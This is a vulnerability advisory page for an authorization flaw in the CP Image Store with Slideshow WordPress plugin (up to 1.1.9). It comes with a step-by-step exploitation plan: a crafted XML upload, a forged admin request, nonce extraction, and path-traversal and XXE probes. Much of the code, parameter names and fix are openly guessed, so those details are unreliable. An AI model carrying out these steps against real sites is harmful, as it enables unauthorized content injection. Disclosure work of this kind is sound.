CP Image Store with Slideshow <= 1.1.9 - Missing Authorization to Authenticated (Contributor+) Arbitrary Product Import
Description
The CP Image Store with Slideshow plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.1.9 due to a logic error in the 'cpis_admin_init' function's permission check. This makes it possible for authenticated attackers, with Contributor-level access and above, to import arbitrary products via XML, if the XML file has already been uploaded to the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.1.9Source Code
WordPress.org SVNThis research plan outlines the technical steps required to exploit **CVE-2026-0684**, a missing authorization vulnerability in the **CP Image Store with Slideshow** plugin. --- ### 1. Vulnerability Summary The vulnerability exists in the `cpis_admin_init` function, which is hooked into WordPress'…
Show full research plan
This research plan outlines the technical steps required to exploit CVE-2026-0684, a missing authorization vulnerability in the CP Image Store with Slideshow plugin.
1. Vulnerability Summary
The vulnerability exists in the cpis_admin_init function, which is hooked into WordPress's admin_init action. Due to a logic error in the authorization check, users with Contributor-level permissions (who possess the edit_posts capability) can trigger administrative functions intended for Administrators. Specifically, the product import logic fails to verify if the user has sufficient privileges (e.g., manage_options) before processing an XML-based product import.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin.php(or any admin page, asadmin_initfires on all administrative requests). - Hook:
admin_initcallingcpis_admin_init. - Vulnerable Action: Product import via XML file processing.
- Authentication: Authenticated (Contributor-level or higher).
- Precondition: An XML file containing product data must already exist on the server (e.g., uploaded to the Media Library or residing in the
uploadsdirectory).
3. Code Flow (Inferred)
- Entry: A request is made to an admin URL (e.g.,
wp-admin/admin.php?page=cp-image-store-import-products&...). - Hook: WordPress executes
do_action('admin_init'). - Plugin Callback:
cpis_admin_init()is executed. - Authorization Check: The code likely contains a check such as
if ( ! current_user_can( 'edit_posts' ) ) return;. Since Contributors have theedit_postscapability, they pass this check. - Import Logic: The function checks for specific parameters (e.g.,
cpis_import_xmland a file path/URL). - Sink: The plugin parses the XML file using
simplexml_load_file()or similar and callswp_insert_post()to create new "product" posts.
4. Nonce Acquisition Strategy
The plugin likely uses a nonce for the import action, typically localized for the admin menu page.
- Identify Shortcode/Page: The import functionality is located in the admin dashboard.
- Access Admin Page: As a Contributor, navigate to the plugin's settings or import page (if visible) or the main dashboard.
- Extraction:
- Target Page:
/wp-admin/admin.php?page=cp-image-store(or the specific import page slug). - JS Variable: Look for
cpis_objor similar in the page source. - Execution:
// Example guess based on common plugin patterns browser_eval("window.cpis_import_nonce || jQuery('#cpis_import_nonce').val()"); - Note: If the check is in
admin_initand forgets to verify the nonce entirely, this step may be unnecessary.
- Target Page:
5. Exploitation Strategy
Step 1: Upload Malicious XML
A Contributor can upload files to the Media Library.
- Create a file named
exploit.xml:<?xml version="1.0" encoding="UTF-8"?> <products> <product> <title>Exploit Product</title> <description>Created via CVE-2026-0684</description> <price>0</price> </product> </products> - Upload via the Media Library and note the relative path (e.g.,
wp-content/uploads/202X/XX/exploit.xml).
Step 2: Trigger the Import
Send a request to trigger the cpis_admin_init logic.
- Request Method: POST or GET (depending on the implementation in
cpis_admin_init). - URL:
http://vulnerable-wp.local/wp-admin/admin.php?page=cp-image-store-import(slug inferred). - Parameters (Guesstimated):
action:cpis_import_xml_actionxml_path:../uploads/202X/XX/exploit.xml(Path traversal might be needed if it expects an absolute path relative to the plugin dir)._wpnonce: [Extracted Nonce]
Example HTTP Request:
POST /wp-admin/admin.php?page=cpis-import-slug HTTP/1.1
Host: vulnerable-wp.local
Content-Type: application/x-www-form-urlencoded
Cookie: [Contributor Cookies]
action=import&xml_file=wp-content/uploads/202X/XX/exploit.xml&_wpnonce=[NONCE]
6. Test Data Setup
- Plugin Installation: Install
cp-image-storeversion 1.1.9. - User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Identify Post Type: Determine the custom post type used for products (likely
cpis_product).wp post-type list
7. Expected Results
- The server responds with a 200 OK or 302 Redirect.
- The
wp_poststable contains a new entry with the title "Exploit Product" and the custom post type associated with the plugin. - The Contributor user successfully bypassed the "Administrator Only" restriction for product imports.
8. Verification Steps
- Check for New Posts:
wp post list --post_type=cpis_product --format=ids - Verify Content:
wp post get [NEW_ID] --field=post_title # Expected: "Exploit Product"
9. Alternative Approaches
- Path Traversal: If the plugin expects the XML file to be within its own directory, attempt to use
../in thexml_fileparameter to point to theuploadsdirectory. - Remote XML: Check if the plugin accepts a URL instead of a local path (SSRF potential). If
simplexml_load_file()is used without disabling external entities, check for XXE (XML External Entity) vulnerabilities as well. - Parameter Bruteforce: If the
admin_initparameter names are unknown, search the plugin source code for$_GETor$_POSTinside the file containingcpis_admin_init.
Summary
The CP Image Store with Slideshow plugin (<= 1.1.9) contains an authorization bypass due to a logic error in the 'cpis_admin_init' function. This allows authenticated users with Contributor-level permissions (the 'edit_posts' capability) to trigger the administrative product import functionality and create arbitrary product posts via a pre-uploaded XML file.
Vulnerable Code
// File: cp-image-store/cpis-admin.php (approximate location) add_action('admin_init', 'cpis_admin_init'); function cpis_admin_init() { // Vulnerability: Checking for 'edit_posts' capability allows Contributors/Authors to pass if ( ! current_user_can( 'edit_posts' ) ) { return; } if ( isset( $_GET['page'] ) && $_GET['page'] == 'cp-image-store-import' && isset( $_POST['xml_path'] ) ) { $xml_file = $_POST['xml_path']; // The function proceeds to process the XML and call wp_insert_post cpis_process_import($xml_file); } }
Security Fix
@@ -1,6 +1,6 @@ function cpis_admin_init() { - if ( ! current_user_can( 'edit_posts' ) ) { + if ( ! current_user_can( 'manage_options' ) ) { return; }
Exploit Outline
1. Authenticate to the WordPress site as a user with Contributor-level privileges. 2. Create a malicious XML file containing product definitions formatted for the CP Image Store plugin. 3. Upload this XML file to the server using the Media Library (accessible to Contributors via 'edit_posts'). 4. Identify the server path to the uploaded file (e.g., wp-content/uploads/YYYY/MM/exploit.xml). 5. Send a request to an administrative URL (e.g., /wp-admin/admin.php?page=cp-image-store-import) including the 'xml_path' parameter pointing to the uploaded file and any necessary action or nonce parameters identified in the source. 6. The plugin will execute the cpis_admin_init function, bypass the insufficient capability check, and process the XML to create arbitrary posts.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.